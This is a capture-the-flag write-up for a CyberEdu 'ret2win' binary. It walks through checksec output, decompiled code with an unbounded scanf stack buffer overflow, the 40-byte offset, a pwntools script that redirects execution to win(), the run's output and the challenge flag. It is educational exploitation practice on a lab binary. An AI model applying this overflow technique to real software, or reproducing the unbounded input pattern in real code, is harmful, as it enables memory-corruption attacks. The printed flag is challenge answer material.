Summary
In this challenge, we are given an ELF binary. Based on the challenge name, it hints at a classic ret2win vulnerability.
Analysis
Decompiling
First of all, I performed some initial reconnaissance on the binary to see what protections it was using.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(M9suu㉿kali)-[~/Desktop/CyberEdu/ret2win]
└─$ file win
win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=870e1a40f72bb59f8fc69f9e1fc7b3979c6155eb, for GNU/Linux 3.2.0, not stripped
┌──(M9suu㉿kali)-[~/Desktop/CyberEdu/ret2win]
└─$ pwn checksec ./win
[*] '/home/M9suu/Desktop/CyberEdu/ret2win/win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Decompiling the binary in Ghidra, we can see two interesting functions: a vulnerable function that we need to exploit using a simple buffer overflow, and the win() function that prints the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
undefined8 main(void)
{
vulnerable();
return 0;
}
void vulnerable(void)
{
undefined local_28 [32];
printf("What do you like to do: ");
__isoc99_scanf(&DAT_00402050,local_28);
return;
}
void win(void)
{
int iVar1;
FILE *__stream;
__stream = fopen("flag.txt","r");
if (__stream == (FILE *)0x0) {
puts("Could not find flag.txt");
}
else {
printf("Your flag is - ");
while( true ) {
iVar1 = getc(__stream);
if ((char)iVar1 == -1) break;
putchar((int)(char)iVar1);
}
putchar(10);
}
return;
}
The vulnerability is in the following line:
1
scanf("%s", local_28);
There is no length limit on the input, so I can overflow the 32-byte stack buffer and overwrite the saved return address.
Finding the Offset
The stack layout is:
1
2
3
32-byte buffer
8-byte saved RBP
8-byte saved RIP
Therefore, the offset to RIP is:
1
32 + 8 = 40 bytes
Finding the Address of win()
Since PIE is disabled, the address of win() is fixed. I found it using objdump:
1
2
3
4
objdump -d ./win | grep "win"
./win: file format elf64-x86-64
00000000004011c9 <win>:
Exploitation
The payload consists of:
1
2
40 bytes of padding
Address of win()
The local exploit script is:
1
2
3
4
5
6
7
8
9
10
from pwn import *
elf = ELF("./win")
payload = b"A" * 40
payload += p64(elf.symbols["win"])
p = process("./win")
p.sendline(payload)
p.interactive()
Running the exploit gives us the flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
python3 solver.py
[*] '/home/M9suu/Desktop/CyberEdu/ret2win/win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[+] Starting local process './win': pid 70784
[*] Switching to interactive mode
What do you like to do: Your flag is - CTF{test_flag}
[*] Got EOF while reading in interactive
$
Flag
CTF{57d52a9acb396a027392b1dda981b4e8e8e5cdf61c379f71003876c3541fd15b}